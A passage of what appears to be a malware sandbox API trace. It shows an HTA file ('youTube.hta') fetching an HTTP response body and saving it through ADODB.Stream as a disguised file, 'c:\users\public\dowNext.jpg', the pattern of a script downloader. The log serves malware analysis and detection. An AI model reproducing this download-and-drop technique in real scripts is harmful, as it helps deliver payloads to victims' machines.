[0209.277] XMLHTTP:IDispatch:Invoke (in: This=0x9873960, dispIdMember=7, riid=0x6cf59164*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x199df0*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x199de0, pExcepInfo=0x199e00, puArgErr=0x199d94 | out: pDispParams=0x199df0*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x199de0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc8, varVal2=0x0), pExcepInfo=0x199e00*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x199d94*=0x0) returned 0x0
[0209.277] XMLHTTP:IUnknown:Release (This=0x9873960) returned 0x3
[0209.278] CLSIDFromProgIDEx (in: lpszProgID="adodb.stream", lpclsid=0x199b5c | out: lpclsid=0x199b5c*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4))) returned 0x0
[0209.281] CoGetClassObject (in: rclsid=0x199b5c*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4)), dwClsContext=0x5, pvReserved=0x0, riid=0x6cf6d5c4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x199b54 | out: ppv=0x199b54*=0x6d97b8) returned 0x0
[0210.697] Stream:IUnknown:QueryInterface (in: This=0x6d97b8, riid=0x6cf61b68*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x199b4c | out: ppvObject=0x199b4c*=0x0) returned 0x80004002
[0210.697] Stream:IClassFactory:CreateInstance (in: This=0x6d97b8, pUnkOuter=0x0, riid=0x6cf5a8ac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x199bac | out: ppvObject=0x199bac*=0x76a350) returned 0x0
[0210.708] Stream:IUnknown:Release (This=0x6d97b8) returned 0x1
[0210.708] Stream:IUnknown:QueryInterface (in: This=0x76a350, riid=0x6cf61b38*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x199b54 | out: ppvObject=0x199b54*=0x76a37c) returned 0x0
[0210.709] malloc (_Size=0xc) returned 0x6327288
[0210.710] Stream:IObjectWithSite:SetSite (This=0x76a37c, pUnkSite=0x6327288) returned 0x0
[0210.711] XMLHTTP:IUnknown:AddRef (This=0x6327288) returned 0x2
[0210.711] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327288, riid=0x754c7490*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x199a48 | out: ppvObject=0x199a48*=0x0) returned 0x80004002
[0210.711] XMLHTTP:IUnknown:AddRef (This=0x6327288) returned 0x3
[0210.711] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327288, riid=0x754c74b0*(Data1=0x39, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1999dc | out: ppvObject=0x1999dc*=0x0) returned 0x80004002
[0210.711] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327288, riid=0x754c7460*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1999e4 | out: ppvObject=0x1999e4*=0x0) returned 0x80004002
[0210.711] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327288, riid=0x754c7700*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1999e8 | out: ppvObject=0x1999e8*=0x0) returned 0x80004002
[0210.711] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327288, riid=0x754c76ac*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1999e0 | out: ppvObject=0x1999e0*=0x0) returned 0x80004002
[0210.711] XMLHTTP:IUnknown:Release (This=0x6327288) returned 0x2
[0210.711] XMLHTTP:IUnknown:AddRef (This=0x6327288) returned 0x3
[0210.711] XMLHTTP:IUnknown:Release (This=0x6327288) returned 0x2
[0210.711] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327288, riid=0x65547c54*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x199aa0 | out: ppvObject=0x199aa0*=0x0) returned 0x80004002
[0210.711] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327288, riid=0x65547ca4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x199a98 | out: ppvObject=0x199a98*=0x6327288) returned 0x0
[0210.711] XMLHTTP:IServiceProvider:QueryService (in: This=0x6327288, guidService=0x65547cb4*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x655453e4*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x199abc | out: ppvObject=0x199abc*=0x6408960) returned 0x0
[0210.711] GetCurrentThreadId () returned 0x7a0
[0210.711] GetCurrentThreadId () returned 0x7a0
[0210.711] GetCurrentThreadId () returned 0x7a0
[0210.712] XMLHTTP:IUnknown:Release (This=0x6327288) returned 0x2
[0210.712] IHTMLDocument2:get_url (in: This=0x6408960, p=0x199ac0 | out: p=0x199ac0*="file://C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta") returned 0x0
[0210.712] IUnknown:AddRef (This=0x6d993c) returned 0x6
[0210.712] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x789c08
[0210.712] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x789c08 | out: hHeap=0x6b0000) returned 1
[0210.712] IUnknown:AddRef (This=0x6d993c) returned 0x7
[0210.713] IUnknown:Release (This=0x6d993c) returned 0x6
[0210.713] IUri:GetScheme (in: This=0x6d993c, pdwScheme=0x199a5c | out: pdwScheme=0x199a5c*=0x9) returned 0x0
[0210.713] IUnknown:QueryInterface (in: This=0x6d993c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x199a30 | out: ppvObject=0x199a30*=0x6d993c) returned 0x0
[0210.713] IUnknown:Release (This=0x6d993c) returned 0x6
[0210.713] IUnknown:QueryInterface (in: This=0x6d993c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1999cc | out: ppvObject=0x1999cc*=0x6d993c) returned 0x0
[0210.714] IUnknown:Release (This=0x6d993c) returned 0x6
[0210.714] IUnknown:AddRef (This=0x6d993c) returned 0x7
[0210.714] CreateUri (in: pwzURI="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", dwFlags=0x2ba5, dwReserved=0x0, ppURI=0x199a7c | out: ppURI=0x199a7c*=0x6b786c) returned 0x0
[0210.714] IUnknown:Release (This=0x6d993c) returned 0x6
[0210.714] IUnknown:QueryInterface (in: This=0x6b786c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x199a5c | out: ppvObject=0x199a5c*=0x6b786c) returned 0x0
[0210.714] IUnknown:Release (This=0x6b786c) returned 0x3
[0210.715] IUnknown:AddRef (This=0x6b786c) returned 0x4
[0210.715] IUnknown:Release (This=0x6b786c) returned 0x3
[0210.715] IUnknown:Release (This=0x6d993c) returned 0x5
[0210.715] IUnknown:Release (This=0x6b786c) returned 0x2
[0210.715] IUnknown:Release (This=0x6408960) returned 0x0
[0210.715] Stream:IUnknown:QueryInterface (in: This=0x76a350, riid=0x6cf5a8cc*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x199b4c | out: ppvObject=0x199b4c*=0x76a350) returned 0x0
[0210.716] Stream:IUnknown:QueryInterface (in: This=0x76a350, riid=0x6cf612c0*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x199afc | out: ppvObject=0x199afc*=0x0) returned 0x80004002
[0210.716] Stream:IUnknown:QueryInterface (in: This=0x76a350, riid=0x6cf61b58*(Data1=0x626fc520, Data2=0xa41e, Data3=0x11cf, Data4=([0]=0xa7, [1]=0x31, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x8, [6]=0x26, [7]=0x37)), ppvObject=0x199adc | out: ppvObject=0x199adc*=0x0) returned 0x80004002
[0210.716] Stream:IUnknown:QueryInterface (in: This=0x76a350, riid=0x6cf61b48*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x199ae4 | out: ppvObject=0x199ae4*=0x0) returned 0x80004002
[0210.716] Stream:IUnknown:QueryInterface (in: This=0x76a350, riid=0x6cf5a8bc*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x74103d0 | out: ppvObject=0x74103d0*=0x0) returned 0x80004002
[0210.716] Stream:IUnknown:AddRef (This=0x76a350) returned 0x4
[0210.716] Stream:IUnknown:Release (This=0x76a37c) returned 0x3
[0210.716] Stream:IUnknown:Release (This=0x76a350) returned 0x2
[0210.716] Stream:IUnknown:Release (This=0x76a350) returned 0x1
[0210.716] GetTickCount () returned 0x1ca6803
[0210.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a20 | out: lpSystemTimeAsFileTime=0x6315a20*(dwLowDateTime=0x7b4f4945, dwHighDateTime=0x1d7e6dd))
[0210.717] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a30 | out: lpSystemTimeAsFileTime=0x6315a30*(dwLowDateTime=0x7b4f7097, dwHighDateTime=0x1d7e6dd))
[0210.717] GetTickCount () returned 0x1ca6803
[0210.717] SetEvent (hEvent=0x390) returned 1
[0210.727] GetTickCount () returned 0x1ca6813
[0210.728] GetCurrentThreadId () returned 0x7a0
[0210.728] Stream:IDispatch:GetIDsOfNames (in: This=0x76a350, riid=0x6cf59164*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x199b6c*="open", cNames=0x1, lcid=0x409, rgDispId=0x199bcc | out: rgDispId=0x199bcc*=10) returned 0x0
[0210.729] Stream:IUnknown:AddRef (This=0x76a350) returned 0x2
[0210.729] Stream:IDispatch:Invoke (in: This=0x76a350, dispIdMember=10, riid=0x6cf59164*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x199b88*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x199b78, pExcepInfo=0x199b98, puArgErr=0x199b2c | out: pDispParams=0x199b88*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x199b78*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pExcepInfo=0x199b98*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x199b2c*=0x0) returned 0x0
[0210.733] Stream:IUnknown:Release (This=0x76a350) returned 0x1
[0210.733] Stream:IDispatch:GetIDsOfNames (in: This=0x76a350, riid=0x6cf59164*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x199b80*="type", cNames=0x1, lcid=0x409, rgDispId=0x199ba4 | out: rgDispId=0x199ba4*=4) returned 0x0
[0210.735] Stream:IUnknown:AddRef (This=0x76a350) returned 0x2
[0210.735] Stream:IDispatch:Invoke (in: This=0x76a350, dispIdMember=4, riid=0x6cf59164*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x199b50*(rgvarg=([0]=0x199b60*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0)), rgdispidNamedArgs=([0]=0x199b4c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x199b70, puArgErr=0x199b04 | out: pDispParams=0x199b50*(rgvarg=([0]=0x199b60*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0)), rgdispidNamedArgs=([0]=0x199b4c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x199b70*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x199b04*=0x199b48) returned 0x0
[0210.735] Stream:IUnknown:Release (This=0x76a350) returned 0x1
[0210.735] XMLHTTP:IDispatch:GetIDsOfNames (in: This=0x9873960, riid=0x6cf59164*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x199b6c*="responsebody", cNames=0x1, lcid=0x409, rgDispId=0x199bcc | out: rgDispId=0x199bcc*=11) returned 0x0
[0210.736] XMLHTTP:IUnknown:AddRef (This=0x9873960) returned 0x4
[0210.736] XMLHTTP:IDispatch:Invoke (in: This=0x9873960, dispIdMember=11, riid=0x6cf59164*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x199b88*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x199b78, pExcepInfo=0x199b98, puArgErr=0x199b2c | out: pDispParams=0x199b88*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x199b78*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x76b830*(cDims=0x1, fFeatures=0x2080, cbElements=0x1, cLocks=0x0, pvData=0x76b848*, rgsabound=((cElements=0xcb, lLbound=0))), varVal2=0x0), pExcepInfo=0x199b98*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x199b2c*=0x0) returned 0x0
[0210.740] XMLHTTP:IUnknown:Release (This=0x9873960) returned 0x3
[0210.740] SafeArrayCopy (in: psa=0x76b830, ppsaOut=0x741040c | out: ppsaOut=0x741040c) returned 0x0
[0210.740] Stream:IDispatch:GetIDsOfNames (in: This=0x76a350, riid=0x6cf59164*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x199b34*="write", cNames=0x1, lcid=0x409, rgDispId=0x199b94 | out: rgDispId=0x199b94*=13) returned 0x0
[0210.740] Stream:IUnknown:QueryInterface (in: This=0x76a350, riid=0x6cf5a8bc*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x7410430 | out: ppvObject=0x7410430*=0x0) returned 0x80004002
[0210.740] Stream:IUnknown:AddRef (This=0x76a350) returned 0x2
[0210.740] Stream:IUnknown:QueryInterface (in: This=0x76a350, riid=0x6cf5a8dc*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x199be4 | out: ppvObject=0x199be4*=0x0) returned 0x80004002
[0210.741] SafeArrayCopy (in: psa=0x7ac9a0, ppsaOut=0x199b48 | out: ppsaOut=0x199b48) returned 0x0
[0210.741] Stream:IUnknown:AddRef (This=0x76a350) returned 0x3
[0210.741] Stream:IDispatch:Invoke (in: This=0x76a350, dispIdMember=13, riid=0x6cf59164*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x199bb8*(rgvarg=([0]=0x199b40*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x7ac880*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x79ec50*, rgsabound=((cElements=0xcb, lLbound=0))), varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x199b68, puArgErr=0x199aec | out: pDispParams=0x199bb8*(rgvarg=([0]=0x199b40*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x7ac880*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x79ec50*, rgsabound=((cElements=0xcb, lLbound=0))), varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x199b68*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x199aec*=0xc6ab0a83) returned 0x0
[0210.742] Stream:IUnknown:Release (This=0x76a350) returned 0x2
[0210.743] Stream:IDispatch:GetIDsOfNames (in: This=0x76a350, riid=0x6cf59164*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x199b34*="savetofile", cNames=0x1, lcid=0x409, rgDispId=0x199b94 | out: rgDispId=0x199b94*=17) returned 0x0
[0210.743] Stream:IUnknown:QueryInterface (in: This=0x76a350, riid=0x6cf5a8bc*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x7410450 | out: ppvObject=0x7410450*=0x0) returned 0x80004002
[0210.743] Stream:IUnknown:AddRef (This=0x76a350) returned 0x3
[0210.743] Stream:IUnknown:QueryInterface (in: This=0x76a350, riid=0x6cf5a8dc*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x199bdc | out: ppvObject=0x199bdc*=0x0) returned 0x80004002
[0210.743] Stream:IUnknown:AddRef (This=0x76a350) returned 0x4
[0210.743] Stream:IDispatch:Invoke (in: This=0x76a350, dispIdMember=17, riid=0x6cf59164*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x199bb0*(rgvarg=([0]=0x199b30*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), [1]=0x199b40*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="c:\\users\\public\\dowNext.jpg" (normalized: "c:\\users\\public\\downext.jpg"), varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x2, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x199b60, puArgErr=0x199adc | out: pDispParams=0x199bb0*(rgvarg=([0]=0x199b30*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), [1]=0x199b40*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="c:\\users\\public\\dowNext.jpg", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x2, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x199b60*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x199adc*=0x9676e90) returned 0x0
[0210.743] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327288, riid=0x655125c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x198f78 | out: ppvObject=0x198f78*=0x6327288) returned 0x0
[0210.744] XMLHTTP:IUnknown:QueryInterface (in: This=0x6327288, riid=0x655125c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x19900c | out: ppvObject=0x19900c*=0x6327288) returned 0x0
[0210.744] XMLHTTP:IUnknown:Release (This=0x6327288) returned 0x2
[0210.759] XMLHTTP:IUnknown:Release (This=0x6327288) returned 0x1
[0210.759] Stream:IUnknown:Release (This=0x76a350) returned 0x3
[0210.759] Stream:IDispatch:GetIDsOfNames (in: This=0x76a350, riid=0x6cf59164*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x199b6c*="close", cNames=0x1, lcid=0x409, rgDispId=0x199bcc | out: rgDispId=0x199bcc*=11) returned 0x0
[0210.760] Stream:IUnknown:AddRef (This=0x76a350) returned 0x4
[0210.760] Stream:IDispatch:Invoke (in: This=0x76a350, dispIdMember=11, riid=0x6cf59164*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x199b88*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x199b78, pExcepInfo=0x199b98, puArgErr=0x199b2c | out: pDispParams=0x199b88*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x199b78*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pExcepInfo=0x199b98*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x199b2c*=0x0) returned 0x0
[0210.762] Stream:IUnknown:Release (This=0x76a350) returned 0x3
[0210.762] GetCurrentThreadId () returned 0x7a0
[0210.762] GetCurrentThreadId () returned 0x7a0
[0210.762] GetCurrentThreadId () returned 0x7a0
[0210.762] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f8 | out: lpSystemTimeAsFileTime=0x630d7f8*(dwLowDateTime=0x7b56598b, dwHighDateTime=0x1d7e6dd))
[0210.763] SetThreadPriority (hThread=0x394, nPriority=0) returned 1
[0210.763] WaitForSingleObject (hHandle=0x38c, dwMilliseconds=0x3e8) returned 0x0
[0210.763] SetThreadPriority (hThread=0x394, nPriority=-1) returned 1
[0210.763] GetTickCount () returned 0x1ca6832
[0210.763] SetEvent (hEvent=0x390) returned 1
[0210.763] SetThreadPriority (hThread=0x394, nPriority=0) returned 1
[0210.763] WaitForSingleObject (hHandle=0x38c, dwMilliseconds=0xf) returned 0x0
[0210.768] SetThreadPriority (hThread=0x394, nPriority=-1) returned 1
[0210.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a58 | out: lpSystemTimeAsFileTime=0x6315a58*(dwLowDateTime=0x7b571d6f, dwHighDateTime=0x1d7e6dd))
[0210.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a60 | out: lpSystemTimeAsFileTime=0x6315a60*(dwLowDateTime=0x7b573132, dwHighDateTime=0x1d7e6dd))
[0210.768] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0210.768] VirtualFree (lpAddress=0x9750000, dwSize=0x0, dwFreeType=0x8000) returned 1
[0210.769] free (_Block=0x6367ef0)
[0210.770] RtlInterlockedPushEntrySList (in: ListHead=0x630e1b8, ListEntry=0x7595000 | out: ListHead=0x630e1b8, ListEntry=0x7595000) returned 0x0
[0210.770] free (_Block=0x630a678)
[0210.771] RtlInterlockedPushEntrySList (in: ListHead=0x630e1b8, ListEntry=0x7587000 | out: ListHead=0x630e1b8, ListEntry=0x7587000) returned 0x7595000
[0210.771] free (_Block=0x631ff68)
[0210.771] RtlInterlockedPushEntrySList (in: ListHead=0x630e1b8, ListEntry=0x9670000 | out: ListHead=0x630e1b8, ListEntry=0x9670000) returned 0x7587000
[0210.771] free (_Block=0x6359058)
[0210.771] GetTickCount () returned 0x1ca6842
[0210.771] SetEvent (hEvent=0x390) returned 1
[0210.771] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a48 | out: lpSystemTimeAsFileTime=0x6315a48*(dwLowDateTime=0x7b57920f, dwHighDateTime=0x1d7e6dd))
[0210.771] Stream:IUnknown:Release (This=0x76a350) returned 0x2
[0210.771] Stream:IUnknown:Release (This=0x76a350) returned 0x1
[0210.772] XMLHTTP:IUnknown:Release (This=0x9873960) returned 0x2
[0210.772] XMLHTTP:IUnknown:Release (This=0x9873960) returned 0x1
[0210.772] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a50 | out: lpSystemTimeAsFileTime=0x6315a50*(dwLowDateTime=0x7b57ccbb, dwHighDateTime=0x1d7e6dd))
